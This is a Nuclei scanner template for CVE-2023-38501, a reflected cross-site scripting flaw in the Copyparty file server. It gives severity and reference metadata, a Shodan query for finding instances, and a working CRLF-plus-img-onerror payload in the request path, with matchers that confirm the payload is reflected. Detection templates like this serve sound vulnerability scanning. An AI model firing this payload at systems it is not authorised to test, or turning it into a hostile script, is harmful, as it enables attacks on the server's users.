id: CVE-2023-38501

info:
  name: Copyparty v1.8.6 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51635
    - https://github.com/9001/copyparty/commit/007d948cb982daa05bc6619cd20ee55b7e834c38
    - https://github.com/9001/copyparty/security/advisories/GHSA-f54q-j679-p9hh
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38501
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38501
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"copyparty"
  tags: copyparty,cve,cve2023,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=copyparty onerror=alert(document.domain)>'
          - 'go to /'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200